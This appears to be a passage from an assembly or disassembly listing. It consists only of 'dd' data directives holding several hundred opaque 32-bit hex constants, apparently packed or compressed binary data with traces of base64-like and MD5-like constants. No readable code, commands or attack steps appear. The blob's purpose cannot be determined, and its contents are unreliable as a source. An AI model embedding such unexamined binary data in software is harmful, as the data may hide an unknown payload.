		dd 50314A0Ah, 1A8568h, 1C442188h, 89C18CE9h, 533E4300h
		dd 94424BF0h, 0F47E006Eh, 557A96A4h, 760E54AEh,	4051F843h
		dd 0FC294A73h, 0EE6200B2h, 0C1B117A4h, 0A2F0A508h, 0BE768A09h
		dd 1C1B0292h, 4185DD72h, 0A598033Eh, 0F7D8F822h, 8E0CD608h
		dd 10DA0DFBh, 9159000Fh, 0B558F94Ch, 0EF00FAE7h, 1F4BBA31h
		dd 7071523Ah, 926F0005h, 402C3E2h, 3D0043C6h, 47F49E01h
		dd 3844A7F5h, 0A502E3E5h, 80E8B094h, 0CA5DA640h, 9FF9D400h
		dd 0FCF0DAC5h, 0BA25051Fh, 81AD454Ah, 0E8B5B0D9h, 0D0A20A5h
		dd 0BBDD1CB8h, 27612900h, 907AD02Fh, 0BA120052h, 56DAA590h
		dd 8D05FB02h, 0B93E2474h, 5099C800h, 6CCE5Ch, 9240B32Eh
		dd 845360CFh, 5AC02100h, 0AC4F0A5h, 0EF883ECBh,	1B00780h
		dd 964F24E9h, 549B2805h, 45C010E2h, 33C995h, 3F8C175h
		dd 3D88BD2Eh, 1C2E4358h, 90400827h, 400C222Bh, 89100014h
		dd 66A60718h, 0A1C7511h, 0EBC012DFh, 80943346h,	1D4800CFh
		dd 3A097414h, 1A07BED6h, 42912A7Dh, 851218B7h, 0D4DF41C6h
		dd 7EC59C30h, 93107E3h,	4005896Bh, 657540B9h, 0E0147000h
		dd 0BAF2A8C4h, 0D6521CF6h, 0CD088FC6h, 0B1DD9A40h, 163FD861h
		dd 0EC500501h, 59801046h, 0ED6403Bh, 0ED097504h, 585A85C0h
		dd 0B003D76h, 7E0CE2EBh, 0FA2A505h, 9C19EF1Dh, 77C00A22h
		dd 4233D740h, 10537307h, 408F4D7Dh, 0E321464h, 46D70099h
		dd 620ADE19h, 3C004EA6h, 2B7FFF3Eh, 0FD4D68Bh, 5549EBAEh
		dd 80564BE7h, 4C9DC29h,	0FF2A03Ah, 60C27305h, 0D269D7EDh
		dd 957036Ch, 9635BAC3h,	0C8909191h, 0E2009E20h,	89282F40h
		dd 2C0233h, 24C08530h, 94953C76h, 32240E71h, 600D137h
		dd 3B091A53h, 87601C2h,	7126E24h, 2BD3C8EBh, 303DD00Eh
		dd 7BA68053h, 75A50E51h, 820F1FFBh, 88A343FDh, 38A85043h
		dd 3690C408h, 6B5E5800h, 52DB4DFFh, 8429030Bh, 39119FAh
		dd 0AC435AF0h, 48144600h, 8F320A73h, 62B5243Bh,	1FB0014h
		dd 7DBE40C6h, 7B800900h, 37715E30h, 0D3A800C5h,	0D80C9302h
		dd 0A9002C1Dh, 0E0DA8255h, 17BF419Eh, 98516BCh,	410E1057h
		dd 75180A60h, 8A74DCD3h, 2D728400h, 0BA277C21h,	1E527439h
		dd 81541C88h, 7D140E73h, 0AFC0E695h, 0ED00CB42h, 921CAE52h
		dd 1F50BC98h, 0C31421A7h, 0F8A8B7CFh, 5C6ADCB0h, 8ACDA200h
		dd 640D1172h, 257627h, 0D06E3123h, 986B9ED6h, 89D44C00h
		dd 0B3E71CC6h, 57880192h, 37754296h, 80E62069h,	0C606E600h
		dd 0EB013246h, 397B53h,	0C5AE932Ch, 0C2B6815h, 3448C80Fh
		dd 339C1D19h, 0CE8B0F00h, 0FA1DA6h, 6CC2E197h, 4E40437Ch
		dd 680044E4h, 0B141FECBh, 6F88EAh, 2C463415h, 90E00B94h
		dd 44015C01h, 0EAD63527h, 78AC1BD4h, 0C131004Ch, 0E4305DFh
		dd 12005A01h, 0B729B89Dh, 1DAA0D10h, 836EC2A5h,	1478F4D4h
		dd 0F84585C9h, 0D62618FDh, 0E800CFA3h, 74FF0BA8h, 0F653173Fh
		dd 37D203E2h, 0FCE009E5h, 0A800D916h, 909ADAFBh, 0E042418Dh
		dd 45440143h, 49484746h, 4C4BC04Ah, 4F4E4D00h, 12525150h
		dd 55543853h, 59587E01h, 0C062615Ah, 65036463h,	69686766h
		dd 6C6B806Ah, 6F6E076Dh, 727170h, 76757473h, 7978770Eh
		dd 3130007Ah, 1C343332h, 373635h, 2F2B3938h, 2438203Dh
		dd 5B290028h, 2C7D7B5Dh, 0B03A703Bh, 2A5C03C8h,	0A092722h
		dd 10C80DB8h, 0CAD25701h, 42572FBh, 48D03A8Fh, 0C120B4E0h
		dd 0F10160E8h, 9E78336Fh, 0D2F4FCD4h, 88F021h, 8B2D0AACh
		dd 85090F5Bh, 0F782DB04h, 0E9C00136h, 0E6FC70h,	5C80B515h
		dd 0A8E96ECFh, 0A58A4A1Ch, 713600BBh, 0B7897AEFh, 0C4FA3Ch
		dd 0FD240111h, 29A94B5Dh, 28F9B48h, 0D0CB39E8h,	4D5DE0D8h
		dd 7D3E2ECh, 489AA90Bh,	63EB80EFh, 1901951Fh, 528AC0F1h
		dd 59F0BF40h, 652703FCh, 5EFBE2E1h, 89CB3AC0h, 0B92BCA00h
		dd 579037Ah, 0C8830048h, 0FBD040F2h, 9AE4CE52h,	0E6F08200h
		dd 3478BE7h, 0EFEB03C6h, 0DBE8104Ah, 0C029FFA1h, 7E0F925Ch
		dd 20336C09h, 0E635ABBh, 3BB9FCEBh, 60801441h, 0EFE806DCh
		dd 6AC0B69Ah, 0E7C1157Ch, 0F8ECE1h, 0FFFAB06Ah,	66E299A2h
		dd 0DC91D730h, 26464BFCh, 3DDEDA0h, 1E753B2Eh, 2BBCEA8h
		dd 0C7320C01h, 8804F468h, 0C11AC8h, 4046AAEFh, 36ADF07Dh
		dd 6E7E030Ah, 0ED008FFAh, 127C0113h, 246D006Ah,	947F0A6Ch
		dd 5C007BEFh, 1F69B568h, 347062Bh, 0AC8F0829h, 56D8E840h
		dd 0E200A288h, 95544CDCh, 0E6120F6h, 3A240C89h,	0C6C41040h
		dd 0FF007A98h, 0B54779B7h, 391FBF7h, 6A9A7352h,	2AB8B28Dh
		dd 53004898h, 1208F84Ah, 74AF03B9h, 56EA0235h, 26FCF576h
		dd 0AF16F40h, 6FF02400h, 0A0E562C9h, 334F0ED9h,	30C0B8D2h
		dd 864E2C1h, 0AB071D00h, 0D10B7A40h, 484B0047h,	2EEE7535h
		dd 0D006622h, 8A8BE8FFh, 400549h, 43060C88h, 0CA4101ABh
		dd 3FE18300h, 25936CD5h, 4A18004Ch, 0E7EAC127h,	6B008B21h
		dd 0ABD65583h, 0F9F14C6h, 0B268B17Fh, 7EF18A21h, 5DE320C1h
		dd 78007A7Bh, 88AD4391h, 0EA98D014h, 7B447685h,	613A5831h
		dd 0F4036B00h, 655AE9DCh, 8618EF00h, 17A7AE4Ah,	0ABB30097h
		dd 79D6FC25h, 0B5F0F14Bh, 18C10403h, 0A80552D0h, 518210h
		dd 0DAFA3874h, 41D562CBh, 7F8D600Fh, 83902064h,	462B54h
		dd 26ACE47Ch, 1F103A42h, 0E8C0AE00h, 0FF113A9h,	75AF011Bh
		dd 0B4D809E4h, 85A2061h, 48ED9F1Eh, 0B7514Bh, 60693146h
		dd 92305C4Ch, 59659505h, 6830028h, 51225A5Dh, 0E7299C00h
		dd 0D9D32725h, 8DE2006Dh, 1C96FDAEh, 4B00FE91h,	519DACECh
		dd 0EAA78820h, 44E80FEAh, 34202DC5h, 0CC088D18h, 5C54AE1Dh
		dd 53A2B8C0h, 6232E2h, 1A4DFA45h, 29A43D8Dh, 8010F53Dh
		dd 0F213E9C1h, 0F0CB27h, 0C647553h, 8945242Ah, 0D08D100h
		dd 9E679110h, 2C350F94h, 6E20656Ah, 69381582h, 0A2164400h
		dd 0F1F4E32Dh, 0CC430EC1h, 0D82101DAh, 0F4D11274h, 0D0000E72h
		dd 14CF85E1h, 0C8CEF6h,	731CDA4Ch, 2052F265h, 0C0230202h
		dd 0C1800D8Bh, 8DE4E13Bh, 54B91F50h, 0F3FDC04Fh, 1375FCAEh
		dd 9083B20Fh, 14AB201Ch, 75A0F1E9h, 0BA66008Bh,	0D10A74A7h
		dd 911E84EAh, 0F5000327h, 75F0FA80h, 4C39000Dh,	603CCBC1h
		dd 0A1004940h, 34FD891Dh, 3E475DB7h, 0B558B8DCh, 2808D3Eh
		dd 0A10CE844h, 0DD00504Bh, 18EA1B5Dh, 938428h, 14752942h
		dd 68CA4FBBh, 0A5E66A00h, 0F2674669h, 0EDFA3Eh,	4235281Ah
		dd 29B7B2ADh, 16E85Ch, 724BEB71h, 3928B0D4h, 7307612Dh
		dd 836C7616h, 21AF9009h, 6E347893h, 0A74ED100h,	0F8BABC5h
		dd 91A598AAh, 52807489h, 0D31977B1h, 4F0DD503h,	0A0EB12BBh
		dd 90101Ah, 4BED074Eh, 1B751430h, 2CB52600h, 4C29E95Bh
		dd 0F107FA0h, 3DA34516h, 8BB94FFEh, 0B6147DA0h,	0A118094Bh
		dd 36305080h, 0D273A2h,	0F9ADCC4h, 14AE9078h, 0FF897h
		dd 11C72977h, 58F63107h, 0B81C9307h, 39F3FEB5h,	4500AF04h
		dd 1E3F7h, 0D24E83F8h, 35A8681Fh, 4615C000h, 0E3E2D789h
		dd 14007C5h, 10114714h,	9A8753Ch, 90054D00h, 28FE891Eh
		dd 152500F7h, 10D3C3F0h, 3095121h, 80235205h, 90495AF6h
		dd 0E2283EA5h, 62A80400h, 95C9389h, 0BD46B026h,	0C084820Fh
		dd 1318A314h, 0ACBA001Ch, 4E67158Ah, 0BF1EA1FFh, 531D0C2Ah
		dd 8B14B2C0h, 0E23B063Dh, 205C0051h, 5F9C3E7Dh,	0D9003902h
		dd 6C901A72h, 9E5348Dh,	3CDD9149h, 61A6B480h, 0A70001A4h
		dd 0F81A77FCh, 754E14Ah, 19892488h, 0EA94B049h,	0CF0034EFh
		dd 182DF335h, 1613221h,	71C42F9Bh, 0D8789DABh, 1C000EA6h
		dd 55D2F64Dh, 16FAB5B0h, 23E813h, 0FB92E2CAh, 8A396522h
		dd 0E98800E1h, 0F60C90FDh, 0C352074Bh, 90CDE7B8h, 23D02F6Bh
		dd 808AC93Fh, 0AFD20ACEh, 14B54h, 2E028769h, 0B04A26F3h
		dd 0B49BB600h, 48E23A8Ah, 5DC31C0Ch, 40A05C1Ch,	0DB6433C8h
		dd 17000890h, 0B9FE12AEh, 2D20A6h, 0C109D27Ah, 278AC203h
		dd 71F8CA02h, 400732FBh, 0F935BEh, 7788FA9Eh, 0C8D0934Ch
		dd 43512700h, 0D225285Eh, 423B1D04h, 0F6D6804Eh, 4090503Fh
		dd 0B999700h, 57092C1Bh, 0D95F0060h, 8108FC51h,	370FC276h
		dd 208EFE6Fh, 120C112h,	89330A70h, 0C1160Ah, 0E196482h
		dd 320030F8h, 0E1BD0283h, 74D44E3Bh, 6E066h, 0C9851275h
		dd 0F78B2076h, 0FC6C8D18h, 0E74744h, 8FEB0852h,	0C2016B12h
		dd 0B4F05400h, 2DC0D25h, 0CE750350h, 66877AAh, 0EF19B8B8h
		dd 0AE539D07h, 0F6F04804h, 1A0D96h, 0C6FEAC27h,	89C91EB3h
		dd 6EDB8D00h, 0A5A8B2DFh, 23EC0006h, 0BDE9F084h, 1D008BB0h
		dd 7D148B9h, 0B7A6C2h, 85C71A14h, 95714BF8h, 0BAC30500h
		dd 8662F230h, 67B401BDh, 9F88289Ch, 55673003h, 0D78B0E03h
		dd 98B56A4Ah, 0B8C6833Ch, 9B03054Ah, 80854B28h,	6D9D0A9Dh
		dd 168A0900h, 95516FE6h, 26A8000Dh, 1899BD7Ah, 0C00548Bh
		dd 893DD1A2h, 9758F7h, 118E291Ch, 0FB9AEC2Fh, 0BB70C100h
		dd 0B061FFA5h, 86E90032h, 26DDEB9Dh, 91035411h,	6F50BE3Fh
		dd 0A2EFF8E8h, 0F07F55h, 10B9052Ah, 231C873h, 0BD832101h
		dd 0EC012BCCh, 1E1CEBCCh, 0B7EA8h, 1175F23Bh, 0E9B843C6h
		dd 0E9B92800h, 70A77832h, 918A0040h, 14123B1Ch,	238FF82h
		dd 0D4A080D7h, 95509C5Ah, 0F926B85Ch, 785E360h,	59D513F7h
		dd 8BCF16Bh, 8020F875h,	5700AA7Dh, 88191749h, 251A903h
		dd 0A04D0AE9h, 13404741h, 0CC01C23Ah, 38FFB1B8h, 347051A5h
		dd 9ED30020h, 7F468A12h, 8800090Fh, 695799Dh, 748578Bh
		dd 58070C2h, 0A2E08ED8h, 513DE56Ah, 0E8528501h,	0B682A3ACh
		dd 1F585AE4h, 382A762Ch, 0F88B3809h, 9007FF81h,	281ED87Bh
		dd 14EE8100h, 4FE168A5h, 4AE20975h, 288032A9h, 0C692AE07h
		dd 0D071590h, 12485398h, 64BC2250h, 0B80E2C51h,	939B0076h
		dd 0C7DF553Ch, 22CAC400h, 8592F014h, 46E000A1h,	31FBE88Eh
		dd 0F57D5950h, 7428840Eh, 5CF3810Dh, 0D17089ADh, 4B5E1826h
		dd 20E8B42Ch, 4EE72A01h, 7051851Fh, 798B1DF0h, 1CFCFE43h
		dd 800392F2h, 0EE287389h, 0E009856h, 0EC2D54F5h, 756B57BFh
		dd 346F8C8h, 0D2D46C2Fh, 0BBF9AD12h, 0A224DC42h, 573E1600h
		dd 49C851E4h, 52210028h, 0AD29440h, 114B957Ah, 74D11A0h
		dd 22438DCAh, 0A63D3055h, 82003349h, 3C60ABCh, 964C01h
		dd 3CC514EFh, 72DD7384h, 62126D0Fh, 315080A4h, 7C6D622h
		dd 0E22AB641h, 0F3A550C8h, 80E249D7h, 62367207h, 6FD06A6Ch
		dd 197A112h, 99E09DDDh,	0E8EA9B17h, 0D8000F4Ch,	2116478Ch
		dd 0A83BD0h, 0DC552585h, 234A2B1Ch, 0C411151Fh,	0DF776281h
		dd 3FCB129h, 53880749h,	20CC84CBh, 5138CE9Dh, 0FDC2AF00h
		dd 0E5E96445h, 0AD0800C6h, 0C98E2CB7h, 72015A54h, 20B46ECCh
		dd 2170DD70h, 67FF0051h, 4413AE14h, 0D40E2DE1h,	40B41C05h
		dd 95BBC37Ah, 0F488F0A7h, 79E10052h, 0F83D0EF4h, 8B068AFBh
		dd 0FC739111h, 41B91D0Ah, 0EA21C99Eh, 0F8532203h, 5589DDC0h
		dd 99018072h, 256E1FAFh, 54C4139Ah, 4E401DE5h, 1DD440A8h
		dd 56A595B2h, 5FC3F98h,	0D887552Eh, 57743103h, 0AB65D081h
		dd 0A60005Fh, 0BBF1BE07h, 1348FCCEh, 5B3E5Bh, 5C92C6E2h
		dd 55F996h, 3149B2F1h, 7CFC2A3Eh, 74F121Fh, 0DC4056DEh
		dd 0B9431D58h, 69440784h, 7642243Ch, 47FA0EA1h,	79783800h
		dd 5C211A48h, 0DEA59h, 4B249F7Fh, 8E5C8F8h, 79BC5000h
		dd 1575104Ch, 0F42D00B8h, 5A785952h, 0C30067B9h, 1A8D361Bh
		dd 4C43D0h, 50926A3Dh, 364EF52h, 3CE0AB01h, 0AE10F80Bh
		dd 1F6C8h, 406981B0h, 1489FD2Fh, 74FF0500h, 0F18B8444h
		dd 0BE7DECh, 9D166C65h,	0F530CB91h, 1520D39h, 64E15EA4h
		dd 0D770330Ch, 79900014h, 613C99EDh, 1207070Eh,	0BD8AFD60h
		dd 0F9084470h, 50357F2Bh, 354F510h, 84A369FBh, 20F381DAh
		dd 0EB14A9E0h, 231A4A00h, 0B26D1142h, 0C4EE830h, 71242802h
		dd 12EE9E8Ah, 22AF7D17h, 18B12A00h, 10D15CBh, 31178CACh
		dd 0ECA27AF5h, 0BA00D184h, 50242C8Eh, 0F0D8D07Ch, 3E4D0085h
		dd 2D10CE6Ah, 0FB00EB56h, 0F8C93FBFh, 0F0165Ch,	3E97BB8Dh
		dd 50BAB7E1h, 7E008379h
		dd 0F45A2F4Eh, 0ED20F44h, 842AB87Ah, 89B4FC60h,	8A70EC5Dh
		dd 0FF335C00h, 475183Ah, 0E0B500B1h, 0F04A40DCh, 0DCB0B7EDh
		dd 404F48h, 5434623Bh, 0EE5F32h, 5141FF1Ah, 0E109269Bh
		dd 0A03B4600h, 0BA527583h, 94C400ACh, 112DFBBBh, 27009F2Bh
		dd 8C06F10Bh, 0EA0E014h, 0BFFCCCFDh, 50F7D4E6h,	0BDAA4800h
		dd 4DA94F0h, 42B90051h,	22D667FCh, 2C74F8B6h, 958E4100h
		dd 4321CC6Eh, 7F6900BDh, 0E1BAF711h, 28003D01h,	933FC93h
		dd 13C38B17h, 9F1844h, 2CAB0C51h, 5800EB4Dh, 0D26B6526h
		dd 0B448971h, 51E9B2EFh, 0B98FCB0Fh, 9350ADE0h,	0F004124h
		dd 0EFA9D98Eh, 12162836h, 0EEAADF35h, 951D4E00h, 0F6F509h
		dd 45D85930h, 678725C5h, 7FE93C0Eh, 8D56A090h, 3CFB552h
		dd 0D3D8C450h, 0C3A3141Bh, 74D45EC8h, 9E8F8518h, 0BC21C8h
		dd 0A7584CB4h, 0DC8066D2h, 0B8F61B3Bh, 7402F95Ah, 96A77F8h
		dd 3C82C041h, 0D38700AEh, 0CD8C05ACh, 18079401h, 0D62430ECh
		dd 63E8C100h, 579600A3h, 0D503FFF8h, 20046C6h, 2D8729B5h
		dd 0B89883h, 599F227Eh,	0C8D366CCh, 9B005E76h, 0BD4A11D9h
		dd 1D488C53h, 0C0E5E8B6h, 0A899E214h, 1CFC7942h, 8454460Fh
		dd 212AA780h, 0E0D88B63h, 0EEC3F77h, 2B044132h,	88B0BFE1h
		dd 0C40CD1D0h, 104808C0h, 181200DFh, 2401C24h, 90480154h
		dd 64BE573Ch, 0F780E2A3h, 0BD8C2970h, 0B820E0F3h, 0A436C600h
		dd 6609C1C7h, 0AC193AB4h, 1FD1FCFFh, 0C0320403h, 91BC237Fh
		dd 1002BFF0h, 33C2C834h, 89A400Ch, 3FF7F624h, 267FF190h
		dd 0A1C4D1h, 448C227Fh,	4300C071h, 21E0B8BEh, 1624102h
		dd 3418F224h, 0CCC45A86h, 170E0A2Ah, 0C80FC3h, 18E367F0h
		dd 1C837B53h, 0B32A5E8h, 0C008B62h, 0C137FB86h,	5700C37Bh
		dd 498AA089h, 7BF075h, 1338C85Bh, 0F85C191h, 174BCB01h
		dd 259879F5h, 4AA29D0h,	0C644CDDCh, 0FE9380BAh,	60053C3h
		dd 17364FB7h, 0C10BB9h,	792D558h, 0E280DA60h, 0F9F48h
		dd 84811A23h, 7F6193Bh,	65A76B17h, 515FD062h, 8D00C920h
		dd 44498ADh, 68B5EFh, 72DD63Eh,	6A04871h, 844C5800h, 0F507021h
		dd 0E3540040h, 0E8FB23FEh, 0D53AF7EBh, 0ADF69FECh, 33A04C0h
		dd 0F983CFh, 31B7E7C1h,	0E3BB73E9h, 3718D600h, 0B00C23FBh
		dd 24860058h, 0FD0B07EEh, 4147A03h, 1FB8C735h, 1E0073E7h
		dd 3DBB8CE8h, 0F9180063h, 640C7B23h, 0EB773A75h, 0F79B0807h
		dd 7C80946Fh, 6415EECFh, 40F82FFEh, 0AAE9ADC4h,	7A7701h
		dd 96B3DF03h, 0EB98133Ah, 800B0D3Ch, 467329DAh,	38573BC7h
		dd 87807410h, 14C8CC11h, 713D625Ah, 1CE980B9h, 1E428D18h
		dd 1C0477AEh, 643B326Ah, 5B740049h, 408885BCh, 0D0CE870Fh
		dd 231C43B2h, 284E175Dh, 2CDB00A8h, 90AF881Ah, 0AEB7303Ah
		dd 34032371h, 0E8C3B885h, 38E4D1h, 0AF06106Ah, 0E8783C21h
		dd 9D183707h, 3D20FD0Ch, 12A88A0h, 99C50381h, 205A8279h
		dd 7F0071EBh, 300ABD4Eh, 34986EEh, 0CDB8CAFh, 5400E1CDh
		dd 8B4C295Dh, 2C758005h, 5D85BDh, 527236C3h, 0E90E200Ch
		dd 0A06A2B78h, 9097A929h, 17211F09h, 8EB14062h,	9AB7C674h
		dd 30260D64h, 8090A307h, 0DAC41321h, 10E0321Fh,	0A4A50480h
		dd 268F264h, 149085EDh,	0AC4019ACh, 0B02E16C4h,	0C624A223h
		dd 5521F403h, 9B5BB0A1h, 7A340344h, 849E7E10h, 0D022C78Fh
		dd 0BE968815h, 0B0917800h, 0AC181085h, 1F8D75BDh, 0C0C8BAh
		dd 86F9E828h, 2313FF43h, 6A12D038h, 0A2405F1Fh,	3AB1423Dh
		dd 100F1DBFh, 1C33BD35h, 78D16158h, 7684FC5Eh, 2C81640Eh
		dd 0A29DC01Eh, 79CA321h, 0E0873C08h, 0A1C7E03Ah, 670ED9F6h
		dd 6033FE6Eh, 0B1AEE841h, 994A1304h, 89C70021h,	3AB01F29h
		dd 0A2FBE90Fh, 208FE057h, 7EC4309h, 1F531C5Ch, 0EEFA07h
		dd 67B88D34h, 1460D608h, 0F002D31Ah, 0BD41FBA3h, 11E00F7Bh
		dd 94E2001Ah, 2A217C9Ch, 4F0062B2h, 0E2819C0h, 3CA37710h
		dd 0C9468F1h, 940C9218h, 0B30A38ECh, 97A004EAh,	0CB00E2A6h
		dd 230E2431h, 38E444F3h, 0C0CE1462h, 0A34D145h,	0A4002FEAh
		dd 88D0CE8h, 0C59B322h,	2C19DA47h, 0F3FE6F6Ch, 32B46000h
		dd 8C43141Ch, 415201A2h, 1F51C2E9h, 902A70F8h, 0D703F901h
		dd 0D2C12BE5h, 3157E2C8h, 143C897Ch, 4A01C824h,	10064809h
		dd 7237805Ah, 422150h, 64EC3A54h, 0B7F2B8C9h, 0B930B400h
		dd 0C4DB483Eh, 17FB0024h, 40958290h, 0D8006429h, 4806C77Fh
		dd 452301h, 4C040E67h, 0EFCDAB89h, 0FE0050E0h, 8098BADCh
		dd 0E47654h, 58104032h,	0D2E1F008h, 5C1EC300h, 0E22ECFEh
		dd 3C98F860h, 181DCBAh,	0ABCDEF64h, 6768C089h, 2320451Fh
		dd 0F6C0400h, 1E3C2D1Eh, 407FE0BBh, 0E353D9CBh,	0C61C7232h
		dd 0BB3E18DEh, 344123Fh, 40802800h, 38F885h, 6F431E7Eh
		dd 5F8DD02Bh, 56A92500h, 0AF53DE9Eh, 0F0CC0BC3h, 938351FFh
		dd 8FF81E76h, 0E001C183h, 1386EBD3h, 0AB60C3B3h, 5A6C03DFh
		dd 60DABD14h, 0C48B40B0h, 1000B978h, 0A7161350h, 0ED52B45h
		dd 7FE25DE9h, 90185120h, 0B80097D9h, 777E1EEBh,	966ED4h
		dd 13FE507h, 0EDAF6F5Eh, 0BF35A500h, 3BFD7440h,	107D00DFh
		dd 2E548D13h, 0C1DD2EBh, 0FBA2CBh, 9AAE424Fh, 3649112h
		dd 18C60256h, 2988DF2Bh, 28003CCDh, 0C0DD40E6h,	0BE803h
		dd 7C41B385h, 1D2986F6h, 0C7838A00h, 6EB19EAh, 7DD804FBh
		dd 0C04DC6ECh, 51A66F7Ch, 0FC749F00h, 0D2147B7Ah, 78B604C8h
		dd 806A60A4h, 24A6905Dh, 23449A00h, 710B566h, 0DA875812h
		dd 9FFBF500h, 5663E1A6h, 0E898B700h, 345DA709h,	4C793F2Bh
		dd 1B58A058h, 0C7C3A50Eh, 0D6CFF920h, 0DB008030h, 244C2070h
		dd 3BC88469h, 1F9CEA0h,	0F90F4111h, 21F4F3F8h, 0BDE8CF15h
		dd 0F000C15Dh, 7324A01Eh, 584CCF4Eh, 160031D2h,	31F0A10h
		dd 5C003FFEh, 0FAFC104h, 341F57Ch, 8A71C8Ch, 0C29C87F2h
		dd 9740E4B0h, 47F2C62Ah, 51F13505h, 1FA8438Ch, 0C8C43100h
		dd 46130218h, 10A83003h, 0E187A154h, 95C5011Ch,	85D5FDF1h
		dd 1C42B734h, 1220E2B6h, 698A00D8h, 7E0CA881h, 9FC81AC1h
		dd 0AFC02451h, 0F54409F7h, 2280CF18h, 128A2BDh,	0FF5BB102h
		dd 0E0E011C6h, 0E022C85h, 895CD7BEh, 4FA2DFBEh,	30AF0BE7h
		dd 902722AFh, 9C34D66Bh, 9AB70A2Ch, 0E4C52B07h,	719301A0h
		dd 18FD0198h, 0C4A8435Bh, 3872F849h, 79F28EE0h,	7E8A64Ch
		dd 3CF1A26Ch, 0B408C10Eh, 0E9EC497Bh, 7388009Dh, 4405CB7h
		dd 25001562h, 1069F61Eh, 1D94C4E8h, 0C005C88Ch,	318A2B9h
		dd 9200B340h, 0D56982C0h, 0E51AA8h, 8CD81478h, 51F541A5h
		dd 265E5A1Ch, 24A30600h, 0DC4FCDh, 0E8C4CD2h, 341D1281h
		dd 0E4AA9801h, 7EE909B6h, 61DC30h, 4D92CCFh, 1420FB77h
		dd 8B3BB2B0h, 5D08139Fh, 0C2D6B100h, 5C1EA94Fh,	9003F123h
		dd 14531F28h, 608402A8h, 633F6CFCh, 0F4550047h,	40A1E6C8h
		dd 0A69100D8h, 0B867218Bh, 983F645Ah, 0D3FB8008h, 0A9B402E7h
		dd 6E90124h, 8CA5468Ah,	0E601E064h, 211406B8h, 14E4DB18h
		dd 0AEA2D0h, 0C33707D6h, 0EEC4784h, 0C51EF88h, 0D50D8700h
		dd 1D02F440h, 0F321A442h, 0ED184179h, 45F58F71h, 10AAE8FFh
		dd 0B8B90316h, 0E9058034h, 8C660FC0h, 8667C43Fh, 0C7475C3Ch
		dd 7F8E2FAh, 42FCEFA3h,	7936E078h, 40008E7Bh, 210D91Ch
		dd 0A21676Fh
		dd 0B97F88A9h, 8A300FE6h, 8D2A4CA3h, 0A290CCE8h, 0F2BD38h
		dd 0FFFA3942h, 62A196h,	0B433B9C3h, 4A8A291Dh, 0A0FD078h
		dd 8771F6h, 65AB1242h, 0B1000B7h, 38C80113h, 61F0222Bh
		dd 1E6D9D3Dh, 17A6A531h, 289C8307h, 0D10C8160h,	1A6800E5h
		dd 8BAB5213h, 17002023h, 0F0B3094Ch, 0BEEA44h, 1084A456h
		dd 6BB1BA47h, 831CC83Bh, 0DEDCA981h, 9646F04Bh,	51853E88h
		dd 2607AF0h, 0B5F640BBh, 0A840E487h, 0BF00BC70h, 1FD602BEh
		dd 1F043490h, 0C09B7EC6h, 471CCB62h, 5E44DEFh, 0A127FA00h
		dd 198321EAh, 130F02ACh, 1B38C908h, 0EF30F9C0h,	514D43Ch
		dd 18F883A6h, 201DCD00h, 12210488h, 1F1AC59h, 0D4D039EFh
		dd 4EBF4046h, 7200B1BBh, 0CF2219C9h, 3B99E505h,	89DCE6DBh
		dd 8C423400h, 83D3C88h,	1FA27C03h, 0B8FCBC10h, 566580h
		dd 43C4AC20h, 0E641E5DDh, 29224400h, 0C14086F4h, 0CC0C0094h
		dd 0BE72EE5Bh, 0F5000506h, 801C8528h, 2FFF97h, 0F6A0432Ah
		dd 0AA24E90Bh, 1687A526h, 0CA141700h, 0F0A7C938h, 0AB940223h
		dd 0D00B4769h, 0E48917C0h, 11080F16h, 0A0D69518h, 0E0980093h
		dd 952AE90Ah, 400F00Ch,	0D8BC3CE8h, 81159Ah, 0E055280Bh
		dd 405B59C3h, 574D6509h, 0E55D0F95h, 28072CAh, 1AACC92h
		dd 1AB0318Fh, 4044A021h, 0EFF47DD8h, 0D318FF05h, 0EF6487h
		dd 85845DABh, 1926B602h, 201D7FC8h, 0A87E4FC0h,	0FD9046Fh
		dd 0CB0D112Ah, 0E0A03CEFh, 33FE2CE6h, 1EABEA0Eh, 9685FF25h
		dd 0ADC00AF9h, 8CA301h,	1DA95FC2h, 0A13E3410h, 4E08901Dh
		dd 849642C0h, 7F2EBD54h, 1D82F620h, 58F7537Eh, 0A994665h
		dd 35FA2CFAh, 0BD3AF216h, 0B8681403h, 4300085h,	2AD7D2BBh
		dd 74005867h, 390524Ch,	0D391C2h, 0BA7CEB86h, 3326D762h
		dd 61DBF800h, 7EBC8CA9h, 7FD6005Bh, 78F74B63h, 897CE413h
		dd 684F3600h, 2EA340E2h, 0F23700FCh, 683545Ah, 0FB035852h
		dd 4D4A7D7Ch, 0E809F83Fh, 4EAC0378h, 670B4011h,	89FACC98h
		dd 0BE48FE00h, 25165BEEh, 3D2AFCF8h, 0A192207Fh, 375ACAAh
		dd 72FAF5D7h, 0F1EAE0F6h, 17FE7457h, 13A1E2E9h,	2B5C009Dh
		dd 0C4C5084Bh, 0E8F68200h, 19699DF3h, 46F93F4Ch, 0C8DA3A8Fh
		dd 0CC091EEh, 7D64EAE5h, 0CB25E902h, 414C1BBEh,	0FAF41470h
		dd 0EA2B000Ah, 467C3C81h, 10072CD7h, 4BAEA887h,	0B8FC7h
		dd 0FBC55C12h, 0EB2B3508h, 147DC12Bh, 0AD4FE8D7h, 116517Eh
		dd 9C0FCD41h, 0AB786018h, 1E020771h, 3F213619h,	41C6400h
		dd 938ACA3h, 1B17810Fh,	0B2401F10h, 0BFA23020h,	42BE018Ch
		dd 0E97CD76Ah, 0E30DF01Eh, 28881A1Fh, 14AE2600h, 16120E40h
		dd 3F2CE43h, 1CAC4FD2h,	8D1BC1DDh, 59E8E388h, 7A000130h
		dd 6200EADh, 0F1C41A46h, 0B342CF4h, 0C079238Ch,	19A3A38Eh
		dd 6C003851h, 0CEC32109h, 24083CF9h, 3D4C85FDh,	0F879EF00h
		dd 0D0335F3Bh, 9F9939h,	2E6D6F6Ch, 123C82Dh, 0CF32E1BAh
		dd 0E064F908h, 0ED01EA92h, 0C1360A87h, 10E4378Ch, 0D4AD00E6h
		dd 4269ACEFh, 0FA0027CFh, 6DFEBE6Ch, 164B37A6h,	10DDB34h
		dd 0FB18522Dh, 9E76C8F2h, 0A5F4CF00h, 6D7B39A7h, 0A60D4C64h
		dd 78B247Bh, 0F2DA0C2Dh, 29029ABCh, 0F6281237h,	1ED840CDh
		dd 136400FFh, 9AFA217Eh, 785218C4h, 451101C0h, 0C249B1D0h
		dd 0A48F3CF0h, 7C623E8Ah, 80533680h, 130C2437h,	0CAE7F20Eh
		dd 47F6A0A4h, 18078830h, 5ED0DF08h, 0CE0B9BD6h,	800CE211h
